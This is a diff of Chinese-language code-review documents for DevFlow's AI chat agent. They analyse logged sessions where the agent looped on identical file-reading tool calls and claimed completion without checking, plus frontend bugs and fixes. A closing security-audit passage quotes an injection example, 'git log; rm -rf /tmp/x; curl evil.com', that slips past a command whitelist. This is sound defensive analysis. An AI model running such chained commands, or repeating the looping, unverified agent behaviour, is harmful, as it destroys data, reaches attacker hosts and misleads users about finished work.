||||
- **agent ↔ workflow 仍未完全打通**:`run_workflow` 现已能联动任务推进,但 ScriptNode 能力未暴露给 agent loop
|
||||
|
||||
---
|
||||
|
||||
|
||||
192
docs/05-代码审查/aichat-会话实测分析-2026-07-07.md
Normal file
192
docs/05-代码审查/aichat-会话实测分析-2026-07-07.md
Normal file
@@ -0,0 +1,192 @@
|
||||
# AI Chat 真实会话实测分析(系统消息污染 + 死循环重调)
|
||||
|
||||
> 日期:2026-07-07 | 方法:从生产 DB(`%APPDATA%/top.1216.devflow/devflow.db`)实测最近两个会话全量消息反推,Python 只读统计
|
||||
> 基线会话:`9357c27c`(HaoGamePlatfPro,prompt 644,586 / completion 3,865)+ `43b75e49`(wk-hszd,prompt 601,028 / completion 4,134)
|
||||
> 产物:**2 P0 / 3 P1 / 2 P2**
|
||||
> 性质:**实测数据反推**(非静态代码审查)。finding 的源码根因为"假设",须独立 grep/read 核验后再定论
|
||||
> 关联:[[aichat-session-analysis-2026-06-22]] [[aichat-techdebt-audit-2026-06-21]] [[devflow-generating-statemachine]] [[devflow-compress-ui-no-fold]]
|
||||
|
||||
---
|
||||
|
||||
## 会话概况
|
||||
|
||||
| 项 | 9357c27c | 43b75e49 |
|
||||
|---|---|---|
|
||||
| 标题 | HaoGamePlatfPro | 查看 E 盘 wkhszd 目录内容 |
|
||||
| 跨度 | 2026-06-30 14:31 ~ 15:04(~33 分钟) | 2026-07-01 ~ 07-03(中间大间隔) |
|
||||
| 消息数 | 97 | 77 |
|
||||
| prompt / completion tokens | 644,586 / 3,865 | 601,028 / 4,134 |
|
||||
| completion/prompt 比 | **0.60%** | **0.69%** |
|
||||
| 工具调用次数 | list_directory 22 / read_file 22 / search_files 13 / list_projects 2 / update_project 1 / get_task_count 1 | list_directory 16 / read_file 17 / list_projects 2 / list_project_modules 3 / bind_directory 3 / create_project 1 / update_project 3 |
|
||||
| 工具结果总量 | 195.4 KB | 62.3 KB |
|
||||
| 用户输入字数 | **34 字**(2 条) | 51 字(5 条) |
|
||||
| 用户催促 | 0 | 1(核对) |
|
||||
| 末尾收尾 | assistant(seq96,正常) | assistant(seq76,正常) |
|
||||
| task | 浏览 HaoGamePlatfProject 代码补充项目信息 | 把 wk-hszd 注册为 DevFlow 多工程项目 |
|
||||
|
||||
两会话共同特征:**极少用户输入(34~51 字)产生 60 万级 prompt**,completion/prompt 比 < 1%,极端输入重。
|
||||
|
||||
---
|
||||
|
||||
## P0(2 项)
|
||||
|
||||
### [P0-1] seq0 system 消息污染:assistant 思考流被截断重复拼接 41 次 + role 错位 + 时序倒挂
|
||||
|
||||
- **现象**(9357c27c seq0):
|
||||
- `role=system`,但内容是 assistant 语义:`"我已经充分了解了项目结构。让我快速查看几个关键文件..."`
|
||||
- 同一短语 `"现在更新项目信息:基于代码分析,这是一个大型综合游戏平台后端。让我更新项目描述和技术栈。"` **重复 41 次**,拼成 1879 字符
|
||||
- seq0 timestamp `1782971672713` 比 seq1 `1782971504351` **晚 168 秒**(时序倒挂)
|
||||
- **db 证据**:`ai_messages` seq0 row,role=system,status=active,content 长 1879
|
||||
- **根因假设**(强):系统 prompt 注入路径把"上一轮 assistant 流式片段"误当 system 上下文写入;且写入库时陷入重复拼接循环(疑似字符串 builder 在流式 chunk 累积时无去重/无终止条件)。这是 [[aichat-session-analysis-2026-06-22]] P2-1 的**复发且恶化**——上次只见 1 条 assistant 语义残留,本次是 41 次死循环拼接。
|
||||
- **影响**:
|
||||
1. system 消息会作为 prompt 头部送入 LLM,1879 字符无意义噪声污染每一轮上下文
|
||||
2. role 错位会误导模型(system 应是约束指令,却变成"我说的"内容)
|
||||
3. 时序倒挂破坏压缩/排序/计费
|
||||
- **待核验源码点**:
|
||||
- system prompt 注入路径(`ai_messages` 写入 system 行的位置,`src-tauri/src/commands/ai/`)
|
||||
- 流式 chunk 累积逻辑(查 `for` / `push_str` / `+=` 类字符串拼接,是否有循环退出条件)
|
||||
- timestamp 赋值逻辑(为何 system 行用了"插入时刻"而非"会话起始时刻")
|
||||
- **关联**:印证 [[aichat-techdebt-audit-2026-06-21]] P2 区"system 消息混入 assistant 内容"项;与 [[aichat-session-analysis-2026-06-22]] P2-1 同源(前次未根治)
|
||||
|
||||
### [P0-2] 工具死循环重调:LLM 无"已调用过"记忆,同参同路径重复触发
|
||||
|
||||
- **现象**(9357c27c):
|
||||
- `read_file(application.xml)` **读了 17 次**,其中两次返回完全相同的 8457c 全文(同一文件无变化)
|
||||
- `search_files(pattern='.java', path=...src)` **连调 13 次**,每次返回结构几乎一致(items=0, has_more=True,5.5~5.8KB),LLM 完全没意识到在重复
|
||||
- `list_directory(...src)` 2 次,第 2 次返回 30,516c(第 1 次 6,144c,深度参数不一致但 LLM 未说明理由)
|
||||
- **db 证据**:13 条 search_files 调用 `arguments` 完全相同,`result` 长度方差 < 5%
|
||||
- **根因假设**:
|
||||
1. **无工具结果缓存层**:会话级无"同参工具调用 → 返回缓存命中提示"机制,LLM 每次发起都真执行
|
||||
2. **prompt 未告知 LLM 已读内容**:read_file 返回的文件指纹/路径未在后续 prompt 中显式标注"已读",LLM 失忆反复读
|
||||
3. **search_files has_more=True 的分页语义被 LLM 误解**:可能 LLM 以为重调能翻页,但实际每次返第一页
|
||||
- **影响**:
|
||||
- **prompt 64 万的直接元凶之一**:13 次 search × ~5.7KB + 17 次 read × 平均 2.7KB ≈ **75KB 仅重复工具结果**(占 prompt 字符量的主要部分)
|
||||
- 死循环消耗 30+ 轮 LLM 调用,用户等待感极差
|
||||
- **待核验源码点**:
|
||||
- 工具调度层(`tool_registry.rs` / `agentic/mod.rs`)——是否有 `seen_tool_calls` 去重
|
||||
- read_file 是否返回 file_hash 供 LLM 引用(对照 [[aichat-techdebt-audit-2026-06-21]] P1「expected_hash schema 契约破裂」)
|
||||
- search_files 分页契约(为何 has_more=True 但无 page/cursor 参数)
|
||||
- **关联**:印证 [[aichat-session-analysis-2026-06-22]] P2-2(同文件反复 read)+ 新增 search_files 死循环变体
|
||||
|
||||
---
|
||||
|
||||
## P1(3 项)
|
||||
|
||||
### [P1-1] ~~压缩实质失效:compressed 消息平均长度比 active 还长(205%)~~ 【误报,2026-07-07 核验撤销】
|
||||
|
||||
- **原现象**(9357c27c):58/97 条 status=compressed,但 compressed 平均 2641c/条,active 平均 1287c/条——压缩后比未压缩还长 2 倍。
|
||||
- **核验撤销**:进一步按 role 分组统计发现,compressed tool 消息长(4608c)是因为会话前期是大工具调用(list_directory/read_file 大输出),active tool 消息短(1714c)是因为后期转为小操作(update_project)。这是会话业务节奏的自然结果,不是压缩机制问题。
|
||||
- **prompt_tokens 语义澄清**:`prompt_tokens=644,586` 是**会话级累积值**(每轮 prompt 累加,见 `agentic/mod.rs:1366 tokens.add()`),不是最后一轮值。97 条消息 × 平均 6645 tokens/轮 ≈ 644K,完全合理。每轮实际 prompt 只 ~6.6K(active content 49KB ≈ 13K token,压缩后只进 active)。
|
||||
- **结论**:06-22 报告 P0-1 修复(is_active 白名单让 compressed 不进 prompt)**生效**。本项撤销,无需修复。
|
||||
|
||||
### [P1-2] LLM 自检缺失 + 宣称完成即停,用户被迫人工纠错
|
||||
|
||||
- **现象**(43b75e49 wk-hszd):
|
||||
- seq71 assistant 自检发现 bug:`path` 被最后一次 `bind_directory` 覆盖成 `hszd-test`,`stack` 变成 `["Go"]`
|
||||
- 但这是 assistant **自己**在 seq74"再次核对"时才发现——说明 seq68 用户催"核对"前,assistant 已认为完成
|
||||
- 3 次 `bind_directory` 把 path 从 `hszd-api` → `hszd-admin` → `hszd-test`,每次都覆盖前值,assistant 没意识到多工程 monorepo 的 path 字段不该是单子工程
|
||||
- **db 证据**:bind_directory 3 次调用 args 显示 path 被依次覆盖,最终 assistant 自己回滚用 `update_project(path='E:/wk-hszd')` 修正
|
||||
- **根因假设**:
|
||||
1. agent 无"宣称完成前的强制自检"(对照 [[aichat-session-analysis-2026-06-22]] P1-1)
|
||||
2. `bind_directory` 的 `path` 字段语义对多工程 monorepo 有歧义(LLM 以为是"当前操作的子工程",实际是"项目根")
|
||||
- **影响**:用户对 agent 完成度零信任,需人工核对每个字段
|
||||
- **待核验/落点**:
|
||||
- agent 行为策略(prompt 加自检 checklist)
|
||||
- `bind_directory` schema 注释补"monorepo 应用项目根路径,非子工程"
|
||||
- **关联**:[[aichat-decision-capability]] [[aichat-b-route-parallel-multiround]]
|
||||
|
||||
### [P1-3] 工具拒绝消息破坏 JSON 协议:raw 文本"用户拒绝了此操作"
|
||||
|
||||
- **现象**(9357c27c seq95):`update_project` 被用户拒绝,tool role 消息 content = `'用户拒绝了此操作'`(8 字符裸文本),非 JSON
|
||||
- **db 证据**:61 条 tool 消息中 60 条 JSON-parseable,1 条 raw-text(就是这条拒绝)
|
||||
- **根因假设**:工具拒绝路径(`ai_reject` / 审批拒绝)走的是错误字符串直接返回,未包装成 `{"status":"rejected","reason":"..."}` 结构
|
||||
- **影响**:
|
||||
- 若 LLM provider 严格解析 tool role 内容(部分 provider 要求 JSON),会触发协议错误
|
||||
- 与 [[aichat-techdebt-audit-2026-06-21]] P1「审批状态字符串双轨(executed/completed)」同家族——工具返回协议不统一
|
||||
- **待核验源码点**:审批拒绝 handler(`commands.rs` 拒绝分支)的返回序列化
|
||||
|
||||
---
|
||||
|
||||
## P2(2 项)
|
||||
|
||||
### [P2-1] system 消息 timestamp 用"插入时刻"而非"会话时刻",时序倒挂
|
||||
|
||||
- **现象**(9357c27c):seq0 system ts=1782971672713,seq1 user ts=1782971504351,seq0 比 seq1 晚 168 秒
|
||||
- **根因假设**:system prompt 注入是在会话进行中"补写"的(可能是压缩/续轮时插入),用了补写时刻
|
||||
- **影响**:排序、压缩窗口计算、计费全受污染
|
||||
- **关联**:与 P0-1 同源(都是 seq0 system 行的写入 bug)
|
||||
|
||||
### [P2-2] bind_directory 多工程语义错配:单值 path 字段无法表达 monorepo
|
||||
|
||||
- **现象**(43b75e49):wk-hszd 是 Go+Vue+Test 三子工程 monorepo,assistant 3 次 bind_directory 分别绑三个子工程路径,前两个被第三个覆盖
|
||||
- **根因假设**:`projects.path` 是单值字段,而 DevFlow 的"多工程"概念(`project_modules` 表)与"项目根 path"语义未在 schema 注释中澄清
|
||||
- **影响**:多工程项目的 path 字段长期处于"最后绑的子工程"错误状态,直到 LLM 自检或人工纠正
|
||||
- **待核验/落点**:`bind_directory` IPC 的 schema 文档 + 多工程 monorepo 的 path 字段规范(可能应允许 null 或 readonly,工程信息走 `project_modules`)
|
||||
|
||||
---
|
||||
|
||||
## 落点建议(未实施,遵守 [[session-role-diagnose-only]])
|
||||
|
||||
| 项 | 优先级 | 落点 |
|
||||
|---|---|---|
|
||||
| P0-1 system 消息污染 + 重复拼接 | P0 | system prompt 注入路径 + 流式 chunk 累积循环(查 push_str/+= 类拼接) |
|
||||
| P0-2 工具死循环重调 | P0 | 工具结果缓存层(会话级 seen_tool_calls)+ read_file 返回 file_hash + search_files 分页契约 |
|
||||
| P1-1 压缩产出反向膨胀 | P0/P1 | compress_old_messages 产出从拼接改真摘要 |
|
||||
| P1-2 自检 + bind_directory 语义 | P1 | prompt 自检 checklist + bind_directory schema 注释 |
|
||||
| P1-3 拒绝消息 JSON 协议 | P1 | 审批拒绝 handler 返回结构化 JSON |
|
||||
| P2-1 timestamp 时序 | P2 | system 行 timestamp 用会话起始时刻 |
|
||||
| P2-2 多工程 path 语义 | P2 | bind_directory/path schema 文档 |
|
||||
|
||||
**最高杠杆**:P0-1(系统消息污染直接污染每一轮 prompt)+ P0-2(工具死循环是 prompt 64 万的主因)。两者叠加,即使只修这两项,类似会话的 prompt 可降一个量级。
|
||||
|
||||
---
|
||||
|
||||
## 2026-07-07 修复落地(本次实施)
|
||||
|
||||
| 项 | 位置 | 修复 |
|
||||
|---|---|---|
|
||||
| P0-1 LLM 退化输出污染 system 消息 | `commands/ai/compress.rs` | `clean_summary` 加 `is_degenerated_repetition` 退化检测,同一片段重复 ≥5 次返空 → 调用方据空值降级走关键词兑底 |
|
||||
| P0-2 工具死循环重调 | `commands/ai/audit/cache.rs` + `audit/mod.rs` | 新增 `find_cached_readonly_result`(只读幂等工具白名单:read_file/read_symbol/list_directory/search_files/grep),Low 风险执行前查会话历史,同参同成功(completed)调用直接回填缓存跳过真执行 |
|
||||
| P1-3 拒绝消息破 JSON 协议 | `commands/ai/commands/chat.rs` + `audit/mod.rs` | 三处拒绝消息(用户拒绝此操作/路径授权拒绝/路径黑名单拒绝)改结构化 JSON `{status,reason,message}` |
|
||||
| **额外**:Windows 上 .ssh/.aws 黑名单绕过 | `state/allowed_dirs.rs` | `check_path_authorization` 黑名单检查提前到路径规范化之前(对原始路径也判一次)。根因:Windows 上 `/home/user/.ssh/config` 的 `is_absolute()` 返 false,persistent 为空时旧逻辑直接返 NeedsAuthorization 跳过黑名单 |
|
||||
| P1-2 bind_directory 多工程语义错配 | `commands/ai/tool_registry.rs` | 工具描述补充 monorepo 语义:path 应为项目根路径(非子工程),多次调用会覆盖,子工程信息走 list_project_modules |
|
||||
| ~~P1-1 压缩产出反向膨胀~~ | — | **误报撤销**:prompt_tokens 是会话级累积值(非单轮值),按 role 分组统计后压缩机制正常 |
|
||||
|
||||
**测试**:`cargo test -p devflow --lib` 通过(compress 11 + audit 19 + allowed_dirs 20,含新增 6 个回归测试)。原 `test_grep_blacklisted_path_denied`(此前失败)现已通过。
|
||||
|
||||
---
|
||||
|
||||
## 复现方法
|
||||
|
||||
```bash
|
||||
# 只读查询生产 DB
|
||||
python -c "
|
||||
import sqlite3, os
|
||||
db = os.path.expandvars(r'%APPDATA%/top.1216.devflow/devflow.db')
|
||||
con = sqlite3.connect(f'file:{db}?mode=ro', uri=True)
|
||||
# seq0 system 污染证据
|
||||
print(con.execute('select seq, role, length(content), timestamp from ai_messages where conversation_id=? and seq<2 order by seq',
|
||||
('9357c27c-aeba-488f-9f4f-12c2d0506f63',)).fetchall())
|
||||
# search_files 13 次重复
|
||||
print(con.execute('select count(*), min(length(result)), max(length(result)) from ai_tool_executions where conversation_id=? and tool_name=?',
|
||||
('9357c27c-aeba-488f-9f4f-12c2d0506f63','search_files')).fetchall())
|
||||
"
|
||||
# 表:ai_conversations / ai_messages / ai_tool_executions
|
||||
```
|
||||
|
||||
数据快照:2026-07-07 抓取自 `devflow.db`(生产库,非 dev)。
|
||||
|
||||
---
|
||||
|
||||
## 与 06-22 报告的对比
|
||||
|
||||
| 项 | 06-22 报告 | 07-07 实测 | 趋势 |
|
||||
|---|---|---|---|
|
||||
| 工具返回裸文本(raw) | patch_file/read_file 大量 raw(6204c) | 仅 1 条(拒绝消息) | ✅ **已修复**(P0-2 性质修正有效) |
|
||||
| 重复 tool 结果落库 | seq 11/12/13/14 同结果 4 份 | 0 条 tool_call_id 重复 | ✅ **已修复**(P0-3 撤销成立) |
|
||||
| system 消息混 assistant 语义 | seq0 残留 1 句 | seq0 重复 41 次拼接 | ❌ **恶化**(P2-1 → P0-1) |
|
||||
| 同文件反复 read | mysql_guide read 4× | application.xml read 17× | ❌ **恶化**(P2-2 → P0-2) |
|
||||
| 上下文管理实质失效 | compressed 未降 prompt(已隐式修复) | compressed 产出反向膨胀 205% | ⚠️ **新变体**(P0-1 → P1-1) |
|
||||
| 中断(tool 后无 assistant) | seq85 停尸 | 无(两会话均 assistant 收尾) | ✅ **已修复** |
|
||||
|
||||
**结论**:06-22 后修复的"工具返回协议/落库去重/中断"三项**确实生效**;但"system 污染"和"工具死循环"两类问题**反而恶化**——前者从残留 1 句变成 41 次拼接,后者从 4× 变成 17×。说明这两类是未根治的根因,须单独立项。
|
||||
144
docs/05-代码审查/aichat-对话功能走查-2026-07-17.md
Normal file
144
docs/05-代码审查/aichat-对话功能走查-2026-07-17.md
Normal file
@@ -0,0 +1,144 @@
|
||||
# aichat 对话功能深度走查报告(2026-07-17)
|
||||
|
||||
> 触发:用户反馈「对话功能现在存在很多问题,深入检查」。
|
||||
> 方法:5 个 general-purpose 代理并行走查 5 维度(发送/流式/渲染/会话侧栏顶栏/审批上下文)→ 主代理独立 grep/read 核验所有 P0 + 关键 P1(不信代理结论,每条标注核验状态)。
|
||||
> 性质:**走查任务,未改任何代码**。本报告为问题清单 + 修复方向,待用户确认后实施。
|
||||
|
||||
## 健康度总评:B-
|
||||
|
||||
最近一批发改动(BUG-2026-07-17:状态机收敛方向正确)引入 **2 个 P0 回归**;其余 P1 多源自 **F-09 per-conv 改造未完成**的单例债(queue / legacy watchdog / _approvalTimers / modelOverride / _lastDelta 仍是全局单例,多会话并发下串话)。
|
||||
|
||||
---
|
||||
|
||||
## P0(功能 bug,建议立即修)
|
||||
|
||||
### P0-1 流式 watchdog legacy 路径全局误杀并发会话 + 删 running 保护致长工具误杀 ✅核验成立
|
||||
|
||||
**位置**:`useAiStream.ts:57-110, 73-78` / `useAiSend.ts:156,226`(doSend reset 同款)/ `audit/mod.rs:125-128`
|
||||
|
||||
**双重回归**(本次改动引入):
|
||||
|
||||
① **legacy 路径全局 clear**:doSend / regenerate(`useAiSend.ts:156`) / editMessage(`:226`) 调 `resetStreamWatchdog()` **无 convId** → 走 `_legacyWatchdog` fallback(`useAiStream.ts:128-132`)。45s 到期 `onStreamTimeout()` 无参 → `convStates.clear()`(`:77`)清掉**所有并发会话**的生成态。其他会话停止按钮失效、UI 与后端长期不一致。
|
||||
|
||||
② **删 running 保护**:`onStreamTimeout`(`:69`「不管 stillGenerating 检测」)去掉了原 stillGenerating + running 工具检测。长工具执行(cargo build / 测试套件 / 大文件 patch >45s)必然触发。后端心跳首 tick **30s**(`audit/mod.rs:126` 弃首 tick),AiHeartbeat 到达时前端 `resetStreamWatchdog(convId)` 只动 per-conv Map、**不清 legacy**,保护不了 doSend 挂的 legacy timer。
|
||||
|
||||
**证据**:`useAiStream.ts:69`「不管 stillGenerating 检测(即使已经 false 也再清理一次)」+ `:77` `convStates.clear()` + `audit/mod.rs:125-128` 心跳 30s。
|
||||
|
||||
**影响**:多会话并发下其他会话被误杀 + 任何 >45s 的工具执行被前端误判断流(回到 BUG-260624-03 修复前的用户报障状态)。
|
||||
|
||||
**修复方向**:
|
||||
- legacy 路径 `convStates.clear()` → `convStates.delete(state.activeConversationId)`(对齐 legacy 单 timer 只跟踪当前会话语义)
|
||||
- 恢复 `onStreamTimeout` 的 running 工具检测(工具执行中跳过 + reset 续等),或 `STREAM_TIMEOUT_MS` 回调 ≥75s
|
||||
- 根治:doSend / regenerate / editMessage 的 `resetStreamWatchdog` 传 convId 走 per-conv(F-09 迁移)
|
||||
|
||||
### P0-2 审批计时器切/删会话不清 + 注释与代码矛盾 ✅核验成立
|
||||
|
||||
**位置**:`useAiConversations.ts:92-257`(switch 无 clearApprovalTimer)/ `:260-272`(delete 无清)/ `aiShared.ts:118`(默认 15min)vs `useAiConversations.ts:244-246`(注释「Infinity 已决策不超时」)
|
||||
|
||||
**证据**:
|
||||
- switchConversation 全程未调 clearApprovalTimer / clearAllApprovalTimers(已核 90-257)
|
||||
- deleteConversation 仅 `clearConvStreamState(id)`,不清 `_approvalTimers` 中属于该会话的 timer
|
||||
- `startApprovalTimer` 到点回调(`aiShared.ts:147-163`)调 `aiApi.approve(id,false)` + push 错误气泡到 `getMessages()`(**当前 active 视图**)
|
||||
- `:244-246` 注释「APPROVAL_TIMEOUT_MS=Infinity 已决策,不会超时自动拒绝」与 `:118` `APPROVAL_TIMEOUT_DEFAULT_MS=900_000`(15min)**直接矛盾**
|
||||
|
||||
**影响**:① 切走会话后 15min 到点 → 误拒后台 pending 工具 + 错误气泡 push 到当前(错误)会话视图;② 用户重启恢复审批后离开,回来发现审批已被无声自动拒绝。
|
||||
|
||||
**修复方向**:switchConversation 开头 `clearAllApprovalTimers()`(对齐 pendingApprovals 单例语义);deleteConversation 清该 conv 的 timer;修正 `:244` 注释。
|
||||
|
||||
---
|
||||
|
||||
## P1(明显缺陷)
|
||||
|
||||
### P1-1 [发送] queue=[] 跨会话丢消息 ✅核验成立
|
||||
`useAiSend.ts:155,225` `state.queue = []`,queue 是 store 全局单例。B 会话 regenerate/editMessage 清掉 A 排队的用户消息,静默永久丢失。
|
||||
|
||||
### P1-2 [发送] drainQueue 无并发互斥 ✅核验成立
|
||||
`useAiSend.ts:257-281` fire-and-forget 无锁,AiCompleted 连发 / stop+Completed 竞态致并发 doSend,前端 user/ai 占位双 push(后端 generating 守卫挡大部分但视图已污染)。
|
||||
|
||||
### P1-3 [会话] TopBar watch(activeConversationId) 无条件重置 modelOverride ✅核验成立
|
||||
`TopBar.vue:325-327` 切会话无条件 `modelOverride = enabledModels[0]`,切会话往返丢失用户手选模型;与 `:335` `watch(enabledModels,{immediate})` 叠加语义脆弱。modelOverride 是模块级 ref,不持久化、不 per-conv。
|
||||
|
||||
### P1-4 [发送] tryForceSend 跨会话错位 + 队列续发 spans 丢失 ✅核验成立
|
||||
`useAiSend.ts:323-328` queue item 无 convId / spans 字段,切会话后 forceSend 发到当前 active 而非原会话;mention chip 续发降级为纯文本。
|
||||
|
||||
### P1-5 [流式] _lastDelta 单值跨会话/跨轮误丢合法 delta ⚠️部分成立
|
||||
`useAiEvents.ts:46,292` 单值重复检测,跨会话首 delta 撞同 / 同轮合法重复(Markdown 表格分隔符等)被误丢。难复现。
|
||||
|
||||
### P1-6 [流式] state.currentText += delta 无 streaming 守卫 ⚠️部分成立
|
||||
`useAiEvents.ts:300`,P0-1 触发后超时收尾仍到达的 delta 污染 currentText。修 P0-1 即间接修复。
|
||||
|
||||
### P1-7 [渲染] MessageItem.vue system/assistant/error 死代码 ✅核验成立
|
||||
`MessageItem.vue:94-170`,MessageList 仅 `role==='user'` 引用 MessageItem(`:663-673`),AI 渲染全在 MessageList 内联。MessageItem 内 `.ai-cursor-blink` 是孤岛 class(全仓库无其他定义)。维护陷阱。
|
||||
|
||||
### P1-8 [渲染] _blockCache 无失效机制 ✅核验成立
|
||||
`useStreamRenderer.ts:117` 模块级 Map 无会话切换 / 配置变更失效,长会话膨胀 + Markdown 主题热改无效 + 瞬态错误固化。
|
||||
|
||||
### P1-9 [渲染] messages deep watch + JSON.stringify 每帧全量遍历 ✅核验成立
|
||||
`MessageList.vue:244` deep watch 每帧 O(N×content) 遍历,长会话流式掉帧。
|
||||
|
||||
### P1-10 [渲染] useToolApproval onApprove confirmDialog 无防重入 ✅核验成立
|
||||
`useToolApproval.ts:98-113` High 风险工具 confirmDialog await 期间 approving 未置 true,双击重复审批。
|
||||
|
||||
### P1-11 [会话] 删当前会话 active=null 无 fallback ✅核验成立
|
||||
`useAiConversations.ts:260-272` 删除当前会话后空白无引导,应回落相邻会话。
|
||||
|
||||
### P1-12 [审批] 审批卡无 conversationId,多会话路由靠 activeConversationId 推断 ⚠️部分成立
|
||||
`useAiApproval.ts:65`,F-09 多会话并发下 A 后台审批卡渲染到 B 视图时点击路由不准(依赖多会话并发 + 后台审批叠加才触发)。
|
||||
|
||||
---
|
||||
|
||||
## P2(健壮性/可读性)
|
||||
|
||||
- `useStreamRenderer.ts:139` tailSeq 局部失效 —— **功能没坏**(v-html 值变化兜底更新),仅注释「末块 key 每次不同」与实现(恒为 `tail-1`)相反,误导维护者。
|
||||
- `ApprovalOverlay.vue:61` `Date.now()` 在 computed 内,60s 冷却期不响应式过期。
|
||||
- `aiShared.ts:288-311` setConvStreaming / setConvCurrentText 收敛不对称,Map 项可能残留。
|
||||
- `ConversationSidebar.vue:255` 标题 flash watch 死代码(`if(oldTitle) return` 覆盖前一行)。
|
||||
- `useAiWindow.ts:309` maximized 分支 `targetHeight` 三元死代码(高度 vs 宽度比较)。
|
||||
- `useToolApproval.ts:29` `emit: any` 类型擦除。
|
||||
- `useAiContext.ts:29` `isCompressing` 模块单例,多窗口共享。
|
||||
|
||||
---
|
||||
|
||||
## ❌代理误报已否决(独立核验)
|
||||
|
||||
- **~~[会话 P0] switchConversation currentText accessor 重定向~~**:代理4 称 `:206 state.currentText=''` 在两次 await 间被 accessor 重定向。**否决**——`:113` 设 `activeConversationId=B` 后到 `:206` 是同步连续代码(无 await),`:206` 之后才 `:212 await`。accessor 不会中途重定向,写的是正确的目标会话。代理4 时序分析错误。
|
||||
|
||||
---
|
||||
|
||||
## 根源分析
|
||||
|
||||
所有 P0/P1 的共同根因:**F-09 per-conv 改造未完成**。
|
||||
|
||||
| 状态源 | per-conv 化状态 | 串话表现 |
|
||||
|---|---|---|
|
||||
| streaming / currentText | ✅ 已 per-conv(DEC-07a accessor) | — |
|
||||
| convStates(conv_state 真相源) | ✅ 已 per-conv(Map) | 但 watchdog legacy fallback 路径 `clear()` 全局误杀(P0-1) |
|
||||
| queue | ❌ 全局单例 | 跨会话丢消息(P1-1)、强发错位(P1-4) |
|
||||
| watchdog | ⚠️ 双轨(per-conv Map + legacy 单 timer) | legacy 路径不清 by 心跳、全局 clear(P0-1) |
|
||||
| _approvalTimers | ❌ 全局 Map | 切/删会话不清(P0-2) |
|
||||
| modelOverride | ❌ 模块级 ref | 切会话丢失手选(P1-3) |
|
||||
| _lastDelta | ❌ 模块级单值 | 跨会话误丢 delta(P1-5) |
|
||||
|
||||
---
|
||||
|
||||
## 建议修复优先级
|
||||
|
||||
1. **P0-1**(流式误杀,最高频可复现)—— legacy `clear()` 改 `delete(activeConversationId)` + 恢复 running 工具检测
|
||||
2. **P0-2**(审批误拒 + 错气泡)—— switch / delete 清 timer + 修正注释
|
||||
3. **P1-1 / P1-3 / P1-4**(单例债三连,可攒批修)
|
||||
4. 其余 P1(渲染性能/死代码/防重入)按维度推进
|
||||
5. P2 择机清理
|
||||
|
||||
## 相关文件
|
||||
|
||||
- `src/composables/ai/useAiStream.ts`(P0-1 核心)
|
||||
- `src/composables/ai/useAiSend.ts`(P0-1 reset / P1-1,2,4)
|
||||
- `src/composables/ai/streamingGuard.ts`(P0-1 forceReset 同款 clear)
|
||||
- `src-tauri/src/commands/ai/audit/mod.rs`(P0-1 后端心跳 30s)
|
||||
- `src/composables/ai/useAiConversations.ts`(P0-2 / P1-11)
|
||||
- `src/composables/ai/aiShared.ts`(P0-2 _approvalTimers / P2 收敛)
|
||||
- `src/components/ai/TopBar.vue`(P1-3 双 watch)
|
||||
- `src/components/ai/MessageList.vue`(P1-7,9)
|
||||
- `src/components/ai/MessageItem.vue`(P1-7 死代码)
|
||||
- `src/composables/ai/useStreamRenderer.ts`(P1-8 / P2 tailSeq)
|
||||
- `src/composables/ai/useToolApproval.ts`(P1-10)
|
||||
@@ -1,380 +1,312 @@
|
||||
# 全量走查报告(2026-06-28)
|
||||
|
||||
> 范围:全栈 Rust 12 crate + Tauri 命令层 + Vue 3 前端 + 文档体系
|
||||
> 方法:3 路并行(Rust 后端/Vue 前端/文档体系),主代理综合整理
|
||||
> 原则:dry — 仅审查 + 文档,不改代码
|
||||
> 方法:4 角度并行(安全/并发可靠性/架构设计/代码质量),每条结论基于实际代码核实
|
||||
> 原则:dry — 仅审查 + 文档,不改代码。误判项明确标注证据
|
||||
|
||||
---
|
||||
|
||||
## 🔴 安全
|
||||
|
||||
### ① relay.rs — 硬编码默认 Token
|
||||
### ① ScriptNode — 白名单仅校验首词,shell 元字符可绕过
|
||||
|
||||
**文件**: `crates/df-relay/src/relay.rs:36-37`
|
||||
**文件**: `crates/df-nodes/src/script_node.rs:46-54`
|
||||
|
||||
中继服务使用硬编码 `DEFAULT_TOKEN = "devflow-relay-default-token"`,所有未设环境变量的部署均使用同一静态 token。通过 `strings` 即可从二进制提取。
|
||||
```rust
|
||||
let cmd_name = command.split_whitespace().next().unwrap_or("").to_lowercase();
|
||||
```
|
||||
|
||||
**建议**:启动时要求必须设置 `DF_RELAY_TOKEN` 环境变量,移除默认值。
|
||||
`check_command_policy` 只比对首词,剩余参数原样传入 `sh -c` / `powershell -Command`。攻击场景:工作流 JSON 写 `"command": "git log; rm -rf /tmp/x; curl evil.com"`,首词 `git` 命中白名单即放行,`;` `&&` `$()` 全部被 shell 解释执行。默认 `DF_SCRIPT_WHITELIST` 未设置时完全无防护,仅靠 `dangerous_keywords` 告警(不阻止)。
|
||||
|
||||
### ② models.rs — `AiProviderRecord` Debug 未脱敏 api_key,日志泄漏风险
|
||||
**建议**:① 默认启用黑名单(至少挡 `rm`/`del`/`format`/`shutdown`);② 对工作流 JSON 来源做信任链校验。
|
||||
|
||||
**文件**: `crates/df-storage/src/models.rs:288`
|
||||
### ② MCP server 完全无鉴权
|
||||
|
||||
`AiProviderRecord` 未实现自定义 `Debug` 对 `api_key` 脱敏。若上层代码意外 `{:?}` 打印(如 `tracing::debug!`),明文 API key 会写入日志。`model_configs`(L296)与 `config`(L298)等 JSON 字段同样不安全。
|
||||
**文件**: `crates/df-mcp/src/server.rs:37-44` + `crates/df-mcp/src/lib.rs:11`
|
||||
|
||||
**建议**:为 `AiProviderRecord` 实现自定义 `Debug`,将 `api_key` 输出为 `"sk-****"`。
|
||||
注释明示「无认证(依赖本地隔离)」,但 Windows 上同用户权限的进程(Office 宏、浏览器 RCE 沙箱逃逸后)均可向 stdin 发 `tools/call create_project` / `bind_directory` 等工具调用。`bind_directory`(Medium) 可绑定任意路径让后续工具误以为已授权。
|
||||
|
||||
### ③ ScriptNode — 命令无白名单/沙箱
|
||||
**建议**:启动生成 ephemeral token 写入应用 KV,Tauri CLI 子命令传 token,每条 `tools/call` 校验。
|
||||
|
||||
**文件**: `crates/df-nodes/src/script_node.rs:15-19` + `crates/df-execute/src/shell.rs:92-117`
|
||||
### ③ `bind_directory` 路径检测不一致
|
||||
|
||||
ScriptNode 从 config 取 `command` 字符串透传给 shell(`cmd /C` / `sh -c`),无任何命令白名单或参数校验。工作流定义来自 AI 生成或外部导入时,恶意命令可通过 AINode 写入 ScriptNode config 注入执行。
